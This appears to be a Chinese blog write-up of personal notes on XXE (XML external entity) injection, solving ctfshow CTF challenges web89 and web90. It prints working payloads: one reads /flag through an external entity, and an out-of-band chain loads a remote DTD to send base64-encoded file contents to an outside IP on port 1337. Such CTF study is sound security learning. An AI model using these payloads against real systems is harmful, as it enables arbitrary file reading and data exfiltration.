【心得】XXE漏洞利用个人笔记

XML中关于DTD类型(内部(SYSTEM)的和外部(PUBLIC)的区别)

xxe的利用

XML Entity 实体注入

当程序处理xml文件时,没有禁止对外部实体的处理,容易造成xxe漏洞

危害

主流是任意文件读取

XML 文件

一般表示带有结构的数据

祖父 3个叔父 8个堂弟堂妹

<祖父>

<叔父1>

<堂兄1>

</叔父1>

<叔父2>

<堂兄2>

</叔父2>

<叔父3>

<堂兄3>

</叔父4>

</祖父>

xml格式

1 有回显时文件读取方法

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE hacker[

<!ENTITY hacker SYSTEM "file:///flag">

]>

<root>

<ctfshow>

&hacker;

</ctfshow>

</root>

例题1 web89

post传:

复制代码
<?xml version="1.0" encoding="UTF-8"?>


<root>
    <ctfshow>
        hacker
    </ctfshow>
</root>

看到回显hacker

可以实现任意文件回显

payload:

复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[
    <!ENTITY hacker SYSTEM "file:///flag">
]> 

<root>
    <ctfshow>
        &hacker;
    </ctfshow>
</root>

这里文件名纯靠猜,文件读取是建立在文件名已知的基础上的

2 无回显时文件读取方法

例题2 web90

无回显点,考虑数据外带

post传

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE hacker[

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">

<!ENTITY % myurl SYSTEM "http://124.222.136.33/test.dtd">

%myurl;

]>

<root>

1

</root>

在vps上创建文件test.dtd

test.dtd内容

<!ENTITY % dtd "<!ENTITY &#x25; vps SYSTEM 'http://124.222.136.33:1337/%file;'> ">

%dtd;

%vps;

vps监听1337端口即可

相关推荐
mounter6254 分钟前
Linux 内核 binfmt_misc 深度全景解析:历史、架构、安全
linux·安全·linux kernel·kernel
为自己_带盐4 分钟前
AI驱动历史项目安全审查
人工智能·安全
HackTwoHub37 分钟前
BurpSuite2026.8专业(稳定版)下载Windows/Linux/Mac支持Java21以上(新增Burp AT智能体)
linux·运维·服务器·安全·macos·网络安全·自动化
墨雨晨曦881 小时前
2026/09/07笔记
笔记
金立基胶粘1 小时前
封口胶在包装行业中的重要性及其与糊盒胶的结合
大数据·安全
~木雨1 小时前
Java 并发编程架构全景:并发层的五域设计 —— 线程模型、线程池隔离、并发安全到问题治理(全体系汇总)
java·安全·架构·线程池·并发编程·高并发架构
志尊宝1 小时前
Vue3 零基础每日笔记(005):ref 响应式基础——为什么 script 里要 .value
前端·javascript·vue.js·笔记
sungtv2 小时前
桥梁钢箱梁施工安全生产动画怎么还原张拉作业风险
安全·安全生产动画
数据知道2 小时前
YARA 规则编写实战——从样本到检测规则
网络·安全·网络安全
志栋智能2 小时前
安全超自动化:实现安全策略动态调整的保障
网络·安全·自动化